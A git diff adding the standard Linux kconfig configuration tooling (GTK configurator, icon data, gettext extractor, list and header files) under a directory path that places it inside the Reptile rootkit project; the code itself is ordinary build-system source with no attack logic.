row[COL_NAME], + COL_NO, row[COL_NO], + COL_MOD, row[COL_MOD], + COL_YES, row[COL_YES], + COL_VALUE, row[COL_VALUE], + COL_MENU, (gpointer) menu, + COL_COLOR, &color, + COL_EDIT, GPOINTER_TO_INT(row[COL_EDIT]), + COL_PIXBUF, pix, + COL_PIXVIS, GPOINTER_TO_INT(row[COL_PIXVIS]), + COL_BTNVIS, GPOINTER_TO_INT(row[COL_BTNVIS]), + COL_BTNACT, GPOINTER_TO_INT(row[COL_BTNACT]), + COL_BTNINC, GPOINTER_TO_INT(row[COL_BTNINC]), + COL_BTNRAD, GPOINTER_TO_INT(row[COL_BTNRAD]), + -1); + + g_object_unref(pix); +} + + +/* Add a node to the tree */ +static void place_node(struct menu *menu, char **row) +{ + GtkTreeIter *parent = parents[indent - 1]; + GtkTreeIter *node = parents[indent]; + + gtk_tree_store_append(tree, node, parent); + set_node(node, menu, row); +} + + +/* Find a node in the GTK+ tree */ +static GtkTreeIter found; + +/* + * Find a menu in the GtkTree starting at parent. + */ +GtkTreeIter *gtktree_iter_find_node(GtkTreeIter * parent, + struct menu *tofind) +{ + GtkTreeIter iter; + GtkTreeIter *child = &iter; + gboolean valid; + GtkTreeIter *ret; + + valid = gtk_tree_model_iter_children(model2, child, parent); + while (valid) { + struct menu *menu; + + gtk_tree_model_get(model2, child, 6, &menu, -1); + + if (menu == tofind) { + memcpy(&found, child, sizeof(GtkTreeIter)); + return &found; + } + + ret = gtktree_iter_find_node(child, tofind); + if (ret) + return ret; + + valid = gtk_tree_model_iter_next(model2, child); + } + + return NULL; +} + + +/* + * Update the tree by adding/removing entries + * Does not change other nodes + */ +static void update_tree(struct menu *src, GtkTreeIter * dst) +{ + struct menu *child1; + GtkTreeIter iter, tmp; + GtkTreeIter *child2 = &iter; + gboolean valid; + GtkTreeIter *sibling; + struct symbol *sym; + struct menu *menu1, *menu2; + + if (src == &rootmenu) + indent = 1; + + valid = gtk_tree_model_iter_children(model2, child2, dst); + for (child1 = src->list; child1; child1 = child1->next) { + + sym = child1->sym; + + reparse: + menu1 = child1; + if (valid) + gtk_tree_model_get(model2, child2, COL_MENU, + &menu2, -1); + else + menu2 = NULL; // force adding of a first child + +#ifdef DEBUG + printf("%*c%s | %s\n", indent, ' ', + menu1 ? menu_get_prompt(menu1) : "nil", + menu2 ? menu_get_prompt(menu2) : "nil"); +#endif + + if ((opt_mode == OPT_NORMAL && !menu_is_visible(child1)) || + (opt_mode == OPT_PROMPT && !menu_has_prompt(child1)) || + (opt_mode == OPT_ALL && !menu_get_prompt(child1))) { + + /* remove node */ + if (gtktree_iter_find_node(dst, menu1) != NULL) { + memcpy(&tmp, child2, sizeof(GtkTreeIter)); + valid = gtk_tree_model_iter_next(model2, + child2); + gtk_tree_store_remove(tree2, &tmp); + if (!valid) + return; /* next parent */ + else + goto reparse; /* next child */ + } else + continue; + } + + if (menu1 != menu2) { + if (gtktree_iter_find_node(dst, menu1) == NULL) { // add node + if (!valid && !menu2) + sibling = NULL; + else + sibling = child2; + gtk_tree_store_insert_before(tree2, + child2, + dst, sibling); + set_node(child2, menu1, fill_row(menu1)); + if (menu2 == NULL) + valid = TRUE; + } else { // remove node + memcpy(&tmp, child2, sizeof(GtkTreeIter)); + valid = gtk_tree_model_iter_next(model2, + child2); + gtk_tree_store_remove(tree2, &tmp); + if (!valid) + return; // next parent + else + goto reparse; // next child + } + } else if (sym && (sym->flags & SYMBOL_CHANGED)) { + set_node(child2, menu1, fill_row(menu1)); + } + + indent++; + update_tree(child1, child2); + indent--; + + valid = gtk_tree_model_iter_next(model2, child2); + } +} + + +/* Display the whole tree (single/split/full view) */ +static void display_tree(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + enum prop_type ptype; + + if (menu == &rootmenu) { + indent = 1; + current = &rootmenu; + } + + for (child = menu->list; child; child = child->next) { + prop = child->prompt; + sym = child->sym; + ptype = prop ? prop->type : P_UNKNOWN; + + if (sym) + sym->flags &= ~SYMBOL_CHANGED; + + if ((view_mode == SPLIT_VIEW) + && !(child->flags & MENU_ROOT) && (tree == tree1)) + continue; + + if ((view_mode == SPLIT_VIEW) && (child->flags & MENU_ROOT) + && (tree == tree2)) + continue; + + if ((opt_mode == OPT_NORMAL && menu_is_visible(child)) || + (opt_mode == OPT_PROMPT && menu_has_prompt(child)) || + (opt_mode == OPT_ALL && menu_get_prompt(child))) + place_node(child, fill_row(child)); +#ifdef DEBUG + printf("%*c%s: ", indent, ' ', menu_get_prompt(child)); + printf("%s", child->flags & MENU_ROOT ? "rootmenu | " : ""); + printf("%s", prop_get_type_name(ptype)); + printf(" | "); + if (sym) { + printf("%s", sym_type_name(sym->type)); + printf(" | "); + printf("%s", dbg_sym_flags(sym->flags)); + printf("\n"); + } else + printf("\n"); +#endif + if ((view_mode != FULL_VIEW) && (ptype == P_MENU) + && (tree == tree2)) + continue; +/* + if (((menu != &rootmenu) && !(menu->flags & MENU_ROOT)) + || (view_mode == FULL_VIEW) + || (view_mode == SPLIT_VIEW))*/ + + /* Change paned position if the view is not in 'split mode' */ + if (view_mode == SINGLE_VIEW || view_mode == FULL_VIEW) { + gtk_paned_set_position(GTK_PANED(hpaned), 0); + } + + if (((view_mode == SINGLE_VIEW) && (menu->flags & MENU_ROOT)) + || (view_mode == FULL_VIEW) + || (view_mode == SPLIT_VIEW)) { + indent++; + display_tree(child); + indent--; + } + } +} + +/* Display a part of the tree starting at current node (single/split view) */ +static void display_tree_part(void) +{ + if (tree2) + gtk_tree_store_clear(tree2); + if (view_mode == SINGLE_VIEW) + display_tree(current); + else if (view_mode == SPLIT_VIEW) + display_tree(browsed); + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree2_w)); +} + +/* Display the list in the left frame (split view) */ +static void display_list(void) +{ + if (tree1) + gtk_tree_store_clear(tree1); + + tree = tree1; + display_tree(&rootmenu); + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree1_w)); + tree = tree2; +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + + +/* Main */ +int main(int ac, char *av[]) +{ + const char *name; + char *env; + gchar *glade_file; + + bindtextdomain(PACKAGE, LOCALEDIR); + bind_textdomain_codeset(PACKAGE, "UTF-8"); + textdomain(PACKAGE); + + /* GTK stuffs */ + gtk_set_locale(); + gtk_init(&ac, &av); + glade_init(); + + //add_pixmap_directory (PACKAGE_DATA_DIR "/" PACKAGE "/pixmaps"); + //add_pixmap_directory (PACKAGE_SOURCE_DIR "/pixmaps"); + + /* Determine GUI path */ + env = getenv(SRCTREE); + if (env) + glade_file = g_strconcat(env, "/support/kconfig/gconf.glade", NULL); + else if (av[0][0] == '/') + glade_file = g_strconcat(av[0], ".glade", NULL); + else + glade_file = g_strconcat(g_get_current_dir(), "/", av[0], ".glade", NULL); + + /* Conf stuffs */ + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'a': + //showAll = 1; + break; + case 'h': + case '?': + printf("%s \n", av[0]); + exit(0); + } + name = av[2]; + } else + name = av[1]; + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + + /* Load the interface and connect signals */ + init_main_window(glade_file); + init_tree_model(); + init_left_tree(); + init_right_tree(); + + switch (view_mode) { + case SINGLE_VIEW: + display_tree_part(); + break; + case SPLIT_VIEW: + display_list(); + break; + case FULL_VIEW: + display_tree(&rootmenu); + break; + } + + gtk_main(); + + return 0; +} + +static void conf_changed(void) +{ + bool changed = conf_get_changed(); + gtk_widget_set_sensitive(save_btn, changed); + gtk_widget_set_sensitive(save_menu_item, changed); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/gconf.glade b/Linux/Rootkits/Reptile/scripts/kconfig/gconf.glade new file mode 100644 index 0000000..d95dc73 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/gconf.glade @@ -0,0 +1,661 @@ + + + + + + True + Gtk PRODUCT Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False + 640 + 480 + True + False + True + False + False + GDK_WINDOW_TYPE_HINT_NORMAL + GDK_GRAVITY_NORTH_WEST + + + + + + + True + False + 0 + + + + True + + + + True + _File + True + + + + + + + True + Load a config file + _Load + True + + + + + + True + gtk-open + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in .config + _Save + True + + + + + + True + gtk-save + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in a file + Save _as + True + + + + + True + gtk-save-as + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + + + + + + True + _Quit + True + + + + + + True + gtk-quit + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + + True + _Options + True + + + + + + + True + Show name + Show _name + True + False + + + + + + + True + Show range (Y/M/N) + Show _range + True + False + + + + + + + True + Show value of the option + Show _data + True + False + + + + + + + True + + + + + + True + Show normal options + Show normal options + True + True + + + + + + + True + Show all options + Show all _options + True + False + set_option_mode1 + + + + + + + True + Show all options with prompts + Show all prompt options + True + False + set_option_mode1 + + + + + + + + + + + + True + _Help + True + + + + + + + True + _Introduction + True + + + + + + True + gtk-dialog-question + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _About + True + + + + + + True + gtk-properties + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _License + True + + + + + True + gtk-justify-fill + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + 0 + False + False + + + + + + True + GTK_SHADOW_OUT + GTK_POS_LEFT + GTK_POS_TOP + + + + True + GTK_ORIENTATION_HORIZONTAL + GTK_TOOLBAR_BOTH + True + True + + + + True + Goes up of one level (single view) + Back + True + gtk-undo + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Load a config file + Load + True + gtk-open + True + True + False + + + + False + True + + + + + + True + Save a config file + Save + True + gtk-save + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Single view + Single + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Split view + Split + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Full view + Full + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Collapse the whole tree in the right frame + Collapse + True + gtk-remove + True + True + False + + + + False + True + + + + + + True + Expand the whole tree in the right frame + Expand + True + gtk-add + True + True + False + + + + False + True + + + + + + + 0 + False + False + + + + + + 1 + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + GTK_POLICY_NEVER + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + False + False + True + GTK_JUSTIFY_LEFT + GTK_WRAP_WORD + True + 0 + 0 + 0 + 0 + 0 + 0 + Sorry, no help available for this option yet. + + + + + True + True + + + + + True + True + + + + + 0 + True + True + + + + + + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/images.c b/Linux/Rootkits/Reptile/scripts/kconfig/images.c new file mode 100644 index 0000000..d4f84bd --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/images.c @@ -0,0 +1,326 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +static const char *xpm_load[] = { +"22 22 5 1", +". c None", +"# c #000000", +"c c #838100", +"a c #ffff00", +"b c #ffffff", +"......................", +"......................", +"......................", +"............####....#.", +"...........#....##.##.", +"..................###.", +".................####.", +".####...........#####.", +"#abab##########.......", +"#babababababab#.......", +"#ababababababa#.......", +"#babababababab#.......", +"#ababab###############", +"#babab##cccccccccccc##", +"#abab##cccccccccccc##.", +"#bab##cccccccccccc##..", +"#ab##cccccccccccc##...", +"#b##cccccccccccc##....", +"###cccccccccccc##.....", +"##cccccccccccc##......", +"###############.......", +"......................"}; + +static const char *xpm_save[] = { +"22 22 5 1", +". c None", +"# c #000000", +"a c #838100", +"b c #c5c2c5", +"c c #cdb6d5", +"......................", +".####################.", +".#aa#bbbbbbbbbbbb#bb#.", +".#aa#bbbbbbbbbbbb#bb#.", +".#aa#bbbbbbbbbcbb####.", +".#aa#bbbccbbbbbbb#aa#.", +".#aa#bbbccbbbbbbb#aa#.", +".#aa#bbbbbbbbbbbb#aa#.", +".#aa#bbbbbbbbbbbb#aa#.", +".#aa#bbbbbbbbbbbb#aa#.", +".#aa#bbbbbbbbbbbb#aa#.", +".#aaa############aaa#.", +".#aaaaaaaaaaaaaaaaaa#.", +".#aaaaaaaaaaaaaaaaaa#.", +".#aaa#############aa#.", +".#aaa#########bbb#aa#.", +".#aaa#########bbb#aa#.", +".#aaa#########bbb#aa#.", +".#aaa#########bbb#aa#.", +".#aaa#########bbb#aa#.", +"..##################..", +"......................"}; + +static const char *xpm_back[] = { +"22 22 3 1", +". c None", +"# c #000083", +"a c #838183", +"......................", +"......................", +"......................", +"......................", +"......................", +"...........######a....", +"..#......##########...", +"..##...####......##a..", +"..###.###.........##..", +"..######..........##..", +"..#####...........##..", +"..######..........##..", +"..#######.........##..", +"..########.......##a..", +"...............a###...", +"...............###....", +"......................", +"......................", +"......................", +"......................", +"......................", +"......................"}; + +static const char *xpm_tree_view[] = { +"22 22 2 1", +". c None", +"# c #000000", +"......................", +"......................", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......########........", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......########........", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......#...............", +"......########........", +"......................", +"......................"}; + +static const char *xpm_single_view[] = { +"22 22 2 1", +". c None", +"# c #000000", +"......................", +"......................", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"..........#...........", +"......................", +"......................"}; + +static const char *xpm_split_view[] = { +"22 22 2 1", +". c None", +"# c #000000", +"......................", +"......................", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......#......#........", +"......................", +"......................"}; + +static const char *xpm_symbol_no[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_symbol_mod[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . . ", +" . .. . ", +" . .... . ", +" . .... . ", +" . .. . ", +" . . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_symbol_yes[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . . ", +" . . . ", +" . .. . ", +" . . .. . ", +" . .... . ", +" . .. . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_choice_no[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .... ", +" .. .. ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" . . ", +" .. .. ", +" .... ", +" "}; + +static const char *xpm_choice_yes[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .... ", +" .. .. ", +" . . ", +" . .. . ", +" . .... . ", +" . .... . ", +" . .. . ", +" . . ", +" .. .. ", +" .... ", +" "}; + +static const char *xpm_menu[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . .. . ", +" . .... . ", +" . ...... . ", +" . ...... . ", +" . .... . ", +" . .. . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_menu_inv[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" .......... ", +" .. ...... ", +" .. .... ", +" .. .. ", +" .. .. ", +" .. .... ", +" .. ...... ", +" .......... ", +" .......... ", +" "}; + +static const char *xpm_menuback[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" .......... ", +" . . ", +" . .. . ", +" . .... . ", +" . ...... . ", +" . ...... . ", +" . .... . ", +" . .. . ", +" . . ", +" .......... ", +" "}; + +static const char *xpm_void[] = { +"12 12 2 1", +" c white", +". c black", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" "}; diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/kxgettext.c b/Linux/Rootkits/Reptile/scripts/kconfig/kxgettext.c new file mode 100644 index 0000000..2858738 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/kxgettext.c @@ -0,0 +1,235 @@ +/* + * Arnaldo Carvalho de Melo , 2005 + * + * Released under the terms of the GNU GPL v2.0 + */ + +#include +#include + +#include "lkc.h" + +static char *escape(const char* text, char *bf, int len) +{ + char *bfp = bf; + int multiline = strchr(text, '\n') != NULL; + int eol = 0; + int textlen = strlen(text); + + if ((textlen > 0) && (text[textlen-1] == '\n')) + eol = 1; + + *bfp++ = '"'; + --len; + + if (multiline) { + *bfp++ = '"'; + *bfp++ = '\n'; + *bfp++ = '"'; + len -= 3; + } + + while (*text != '\0' && len > 1) { + if (*text == '"') + *bfp++ = '\\'; + else if (*text == '\n') { + *bfp++ = '\\'; + *bfp++ = 'n'; + *bfp++ = '"'; + *bfp++ = '\n'; + *bfp++ = '"'; + len -= 5; + ++text; + goto next; + } + else if (*text == '\\') { + *bfp++ = '\\'; + len--; + } + *bfp++ = *text++; +next: + --len; + } + + if (multiline && eol) + bfp -= 3; + + *bfp++ = '"'; + *bfp = '\0'; + + return bf; +} + +struct file_line { + struct file_line *next; + const char *file; + int lineno; +}; + +static struct file_line *file_line__new(const char *file, int lineno) +{ + struct file_line *self = malloc(sizeof(*self)); + + if (self == NULL) + goto out; + + self->file = file; + self->lineno = lineno; + self->next = NULL; +out: + return self; +} + +struct message { + const char *msg; + const char *option; + struct message *next; + struct file_line *files; +}; + +static struct message *message__list; + +static struct message *message__new(const char *msg, char *option, + const char *file, int lineno) +{ + struct message *self = malloc(sizeof(*self)); + + if (self == NULL) + goto out; + + self->files = file_line__new(file, lineno); + if (self->files == NULL) + goto out_fail; + + self->msg = strdup(msg); + if (self->msg == NULL) + goto out_fail_msg; + + self->option = option; + self->next = NULL; +out: + return self; +out_fail_msg: + free(self->files); +out_fail: + free(self); + self = NULL; + goto out; +} + +static struct message *mesage__find(const char *msg) +{ + struct message *m = message__list; + + while (m != NULL) { + if (strcmp(m->msg, msg) == 0) + break; + m = m->next; + } + + return m; +} + +static int message__add_file_line(struct message *self, const char *file, + int lineno) +{ + int rc = -1; + struct file_line *fl = file_line__new(file, lineno); + + if (fl == NULL) + goto out; + + fl->next = self->files; + self->files = fl; + rc = 0; +out: + return rc; +} + +static int message__add(const char *msg, char *option, const char *file, + int lineno) +{ + int rc = 0; + char bf[16384]; + char *escaped = escape(msg, bf, sizeof(bf)); + struct message *m = mesage__find(escaped); + + if (m != NULL) + rc = message__add_file_line(m, file, lineno); + else { + m = message__new(escaped, option, file, lineno); + + if (m != NULL) { + m->next = message__list; + message__list = m; + } else + rc = -1; + } + return rc; +} + +static void menu_build_message_list(struct menu *menu) +{ + struct menu *child; + + message__add(menu_get_prompt(menu), NULL, + menu->file == NULL ? "Root Menu" : menu->file->name, + menu->lineno); + + if (menu->sym != NULL && menu_has_help(menu)) + message__add(menu_get_help(menu), menu->sym->name, + menu->file == NULL ? "Root Menu" : menu->file->name, + menu->lineno); + + for (child = menu->list; child != NULL; child = child->next) + if (child->prompt != NULL) + menu_build_message_list(child); +} + +static void message__print_file_lineno(struct message *self) +{ + struct file_line *fl = self->files; + + putchar('\n'); + if (self->option != NULL) + printf("# %s:00000\n", self->option); + + printf("#: %s:%d", fl->file, fl->lineno); + fl = fl->next; + + while (fl != NULL) { + printf(", %s:%d", fl->file, fl->lineno); + fl = fl->next; + } + + putchar('\n'); +} + +static void message__print_gettext_msgid_msgstr(struct message *self) +{ + message__print_file_lineno(self); + + printf("msgid %s\n" + "msgstr \"\"\n", self->msg); +} + +static void menu__xgettext(void) +{ + struct message *m = message__list; + + while (m != NULL) { + /* skip empty lines ("") */ + if (strlen(m->msg) > sizeof("\"\"")) + message__print_gettext_msgid_msgstr(m); + m = m->next; + } +} + +int main(int ac, char **av) +{ + conf_parse(av[1]); + + menu_build_message_list(menu_get_root_menu(NULL)); + menu__xgettext(); + return 0; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/list.h b/Linux/Rootkits/Reptile/scripts/kconfig/list.h new file mode 100644 index 0000000..685d80e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/list.h @@ -0,0 +1,131 @@ +#ifndef LIST_H +#define LIST_H + +/* + * Copied from include/linux/... + */ + +#undef offsetof +#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER) + +/** + * container_of - cast a member of a structure out to the containing structure + * @ptr: the pointer to the member. + * @type: the type of the container struct this is embedded in. + * @member: the name of the member within the struct. + * + */ +#define container_of(ptr, type, member) ({ \ + const typeof( ((type *)0)->member ) *__mptr = (ptr); \ + (type *)( (char *)__mptr - offsetof(type,member) );}) + + +struct list_head { + struct list_head *next, *prev; +}; + + +#define LIST_HEAD_INIT(name) { &(name), &(name) } + +#define LIST_HEAD(name) \ + struct list_head name = LIST_HEAD_INIT(name) + +/** + * list_entry - get the struct for this entry + * @ptr: the &struct list_head pointer. + * @type: the type of the struct this is embedded in. + * @member: the name of the list_struct within the struct. + */ +#define list_entry(ptr, type, member) \ + container_of(ptr, type, member) + +/** + * list_for_each_entry - iterate over list of given type + * @pos: the type * to use as a loop cursor. + * @head: the head for your list. + * @member: the name of the list_struct within the struct. + */ +#define list_for_each_entry(pos, head, member) \ + for (pos = list_entry((head)->next, typeof(*pos), member); \ + &pos->member != (head); \ + pos = list_entry(pos->member.next, typeof(*pos), member)) + +/** + * list_for_each_entry_safe - iterate over list of given type safe against removal of list entry + * @pos: the type * to use as a loop cursor. + * @n: another type * to use as temporary storage + * @head: the head for your list. + * @member: the name of the list_struct within the struct. + */ +#define list_for_each_entry_safe(pos, n, head, member) \ + for (pos = list_entry((head)->next, typeof(*pos), member), \ + n = list_entry(pos->member.next, typeof(*pos), member); \ + &pos->member != (head); \ + pos = n, n = list_entry(n->member.next, typeof(*n), member)) + +/** + * list_empty - tests whether a list is empty + * @head: the list to test. + */ +static inline int list_empty(const struct list_head *head) +{ + return head->next == head; +} + +/* + * Insert a new entry between two known consecutive entries. + * + * This is only for internal list manipulation where we know + * the prev/next entries already! + */ +static inline void __list_add(struct list_head *_new, + struct list_head *prev, + struct list_head *next) +{ + next->prev = _new; + _new->next = next; + _new->prev = prev; + prev->next = _new; +} + +/** + * list_add_tail - add a new entry + * @new: new entry to be added + * @head: list head to add it before + * + * Insert a new entry before the specified head. + * This is useful for implementing queues. + */ +static inline void list_add_tail(struct list_head *_new, struct list_head *head) +{ + __list_add(_new, head->prev, head); +} + +/* + * Delete a list entry by making the prev/next entries + * point to each other. + * + * This is only for internal list manipulation where we know + * the prev/next entries already! + */ +static inline void __list_del(struct list_head *prev, struct list_head *next) +{ + next->prev = prev; + prev->next = next; +} + +#define LIST_POISON1 ((void *) 0x00100100) +#define LIST_POISON2 ((void *) 0x00200200) +/** + * list_del - deletes entry from list. + * @entry: the element to delete from the list. + * Note: list_empty() on entry does not return true after this, the entry is + * in an undefined state. + */ +static inline void list_del(struct list_head *entry) +{ + __list_del(entry->prev, entry->next); + entry->next = (struct list_head*)LIST_POISON1; + entry->prev = (struct list_head*)LIST_POISON2; +} +#endif diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lkc.h b/Linux/Rootkits/Reptile/scripts/kconfig/lkc.h new file mode 100644 index 0000000..80ea01f --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lkc.h @@ -0,0 +1,214 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#ifndef LKC_H +#define LKC_H + +#include "expr.h" + +#ifndef KBUILD_NO_NLS +# include +#else +static inline const char *gettext(const char *txt) { return txt; } +static inline void textdomain(const char *domainname) {} +static inline void bindtextdomain(const char *name, const char *dir) {} +static inline char *bind_textdomain_codeset(const char *dn, char *c) { return c; } +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef PRODUCT_ENV +/* BR2 for buildroot, KCONFIG for kernel. */ +#define PRODUCT_ENV "KCONFIG" +#endif + +#ifndef PRODUCT +/* Buildroot buildroot, Kernel for kernel. */ +#define PRODUCT "Kernel" +#endif + +#ifndef PRODUCT_DOMAIN +/* buildroot.org for buildroot, kernel.org for kernel. */ +#define PRODUCT_DOMAIN "kernel.org" +#endif + +#define P(name,type,arg) extern type name arg +#include "lkc_proto.h" +#undef P + +#define SRCTREE "srctree" + +#ifndef PACKAGE +#define PACKAGE "linux" +#endif + +#define LOCALEDIR "/usr/share/locale" + +#define _(text) gettext(text) +#define N_(text) (text) + +#ifndef CONFIG_ +#define CONFIG_ "CONFIG_" +#endif +static inline const char *CONFIG_prefix(void) +{ + return getenv( "CONFIG_" ) ?: CONFIG_; +} +#undef CONFIG_ +#define CONFIG_ CONFIG_prefix() + +#define TF_COMMAND 0x0001 +#define TF_PARAM 0x0002 +#define TF_OPTION 0x0004 + +enum conf_def_mode { + def_default, + def_yes, + def_mod, + def_no, + def_random +}; + +#define T_OPT_MODULES 1 +#define T_OPT_DEFCONFIG_LIST 2 +#define T_OPT_ENV 3 + +struct kconf_id { + int name; + int token; + unsigned int flags; + enum symbol_type stype; +}; + +extern int zconfdebug; + +int zconfparse(void); +void zconfdump(FILE *out); +void zconf_starthelp(void); +FILE *zconf_fopen(const char *name); +void zconf_initscan(const char *name); +void zconf_nextfile(const char *name); +int zconf_lineno(void); +const char *zconf_curname(void); + +/* confdata.c */ +const char *conf_get_configname(void); +const char *conf_get_autoconfig_name(void); +char *conf_get_default_confname(void); +void sym_set_change_count(int count); +void sym_add_change_count(int count); +bool conf_set_all_new_symbols(enum conf_def_mode mode); +void set_all_choice_values(struct symbol *csym); + +struct conf_printer { + void (*print_symbol)(FILE *, struct symbol *, const char *, void *); + void (*print_comment)(FILE *, const char *, void *); +}; + +/* confdata.c and expr.c */ +static inline void xfwrite(const void *str, size_t len, size_t count, FILE *out) +{ + assert(len != 0); + + if (fwrite(str, len, count, out) != count) + fprintf(stderr, "Error in writing or end of file.\n"); +} + +/* menu.c */ +void _menu_init(void); +void menu_warn(struct menu *menu, const char *fmt, ...); +struct menu *menu_add_menu(void); +void menu_end_menu(void); +void menu_add_entry(struct symbol *sym); +void menu_end_entry(void); +void menu_add_dep(struct expr *dep); +void menu_add_visibility(struct expr *dep); +struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep); +struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep); +void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep); +void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep); +void menu_add_option(int token, char *arg); +void menu_finalize(struct menu *parent); +void menu_set_type(int type); + +/* util.c */ +struct file *file_lookup(const char *name); +int file_write_dep(const char *name); +void *xmalloc(size_t size); +void *xcalloc(size_t nmemb, size_t size); + +struct gstr { + size_t len; + char *s; + /* + * when max_width is not zero long lines in string s (if any) get + * wrapped not to exceed the max_width value + */ + int max_width; +}; +struct gstr str_new(void); +struct gstr str_assign(const char *s); +void str_free(struct gstr *gs); +void str_append(struct gstr *gs, const char *s); +void str_printf(struct gstr *gs, const char *fmt, ...); +const char *str_get(struct gstr *gs); + +/* symbol.c */ +extern struct expr *sym_env_list; + +void sym_init(void); +void sym_clear_all_valid(void); +void sym_set_all_changed(void); +void sym_set_changed(struct symbol *sym); +struct symbol *sym_choice_default(struct symbol *sym); +const char *sym_get_string_default(struct symbol *sym); +struct symbol *sym_check_deps(struct symbol *sym); +struct property *prop_alloc(enum prop_type type, struct symbol *sym); +struct symbol *prop_get_symbol(struct property *prop); +struct property *sym_get_env_prop(struct symbol *sym); + +static inline tristate sym_get_tristate_value(struct symbol *sym) +{ + return sym->curr.tri; +} + + +static inline struct symbol *sym_get_choice_value(struct symbol *sym) +{ + return (struct symbol *)sym->curr.val; +} + +static inline bool sym_set_choice_value(struct symbol *ch, struct symbol *chval) +{ + return sym_set_tristate_value(chval, yes); +} + +static inline bool sym_is_choice(struct symbol *sym) +{ + return sym->flags & SYMBOL_CHOICE ? true : false; +} + +static inline bool sym_is_choice_value(struct symbol *sym) +{ + return sym->flags & SYMBOL_CHOICEVAL ? true : false; +} + +static inline bool sym_is_optional(struct symbol *sym) +{ + return sym->flags & SYMBOL_OPTIONAL ? true : false; +} + +static inline bool sym_has_value(struct symbol *sym) +{ + return sym->flags & SYMBOL_DEF_USER ? true : false; +} + +#ifdef __cplusplus +} +#endif + +#endif /* LKC_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lkc_proto.h 